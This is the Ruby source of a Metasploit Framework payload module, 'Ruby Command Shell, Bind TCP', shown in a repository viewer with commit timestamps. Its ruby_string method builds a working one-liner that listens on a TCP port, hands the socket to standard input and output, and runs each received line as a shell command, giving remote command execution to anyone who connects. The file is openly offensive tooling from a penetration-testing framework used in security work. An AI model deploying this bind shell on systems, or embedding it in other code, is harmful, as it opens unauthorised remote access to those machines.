metasploit-framework/modules/payloads/singles/ruby/shell_bind_tcp.rb

43 lines
1.3 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/payload/ruby'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
2013-08-30 21:28:54 +00:00
include Msf::Payload::Single
include Msf::Payload::Ruby
include Msf::Sessions::CommandShellOptions
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(merge_info(info,
'Name' => 'Ruby Command Shell, Bind TCP',
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
'Author' => [ 'kris katterjohn', 'hdm' ],
'License' => MSF_LICENSE,
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'ruby',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
2013-08-30 21:28:54 +00:00
def generate
return prepends(ruby_string)
end
2013-08-30 21:28:54 +00:00
def ruby_string
"require 'socket';s=TCPServer.new(#{datastore['LPORT'].to_i});c=s.accept;s.close;"+
"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
end
end